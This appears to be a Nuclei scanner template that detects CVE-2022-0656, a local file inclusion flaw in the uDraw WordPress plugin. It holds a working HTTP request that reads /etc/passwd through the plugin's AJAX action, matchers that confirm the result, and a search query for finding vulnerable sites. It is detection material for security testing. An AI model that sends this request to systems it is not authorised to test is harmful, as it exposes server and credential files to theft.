52 lines
1.9 KiB
YAML
52 lines
1.9 KiB
YAML
id: CVE-2022-0656
|
|
|
|
info:
|
|
name: uDraw <3.3.3 - Local File Inclusion
|
|
author: akincibor
|
|
severity: high
|
|
description: uDraw before 3.3.3 does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).
|
|
remediation: |
|
|
Upgrade uDraw to version 3.3.3 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/925c4c28-ae94-4684-a365-5f1e34e6c151
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0656
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2022-0656
|
|
cwe-id: CWE-552
|
|
epss-score: 0.0071
|
|
epss-percentile: 0.78316
|
|
cpe: cpe:2.3:a:webtoprint:web_to_print_shop\:udraw:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: webtoprint
|
|
product: web_to_print_shop\
|
|
google-query: inurl:"/wp-content/plugins/udraw"
|
|
tags: wp,wordpress,wp-plugin,unauth,cve,cve2022,lfi,udraw,wpscan
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
action=udraw_convert_url_to_base64&url=/etc/passwd
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "cm9vd" # root in base64
|
|
- "data:image\\/;base64"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502200b4917bc617413562e83af53c047ffc730fffdca110c7a16dbac22b701ca69b5022100af6e28d6aaf071e42deaa14e3a1b6fa8edb694fe363c34190780b6a91252c56e:922c64590222798bb761d5b6d8e72950
|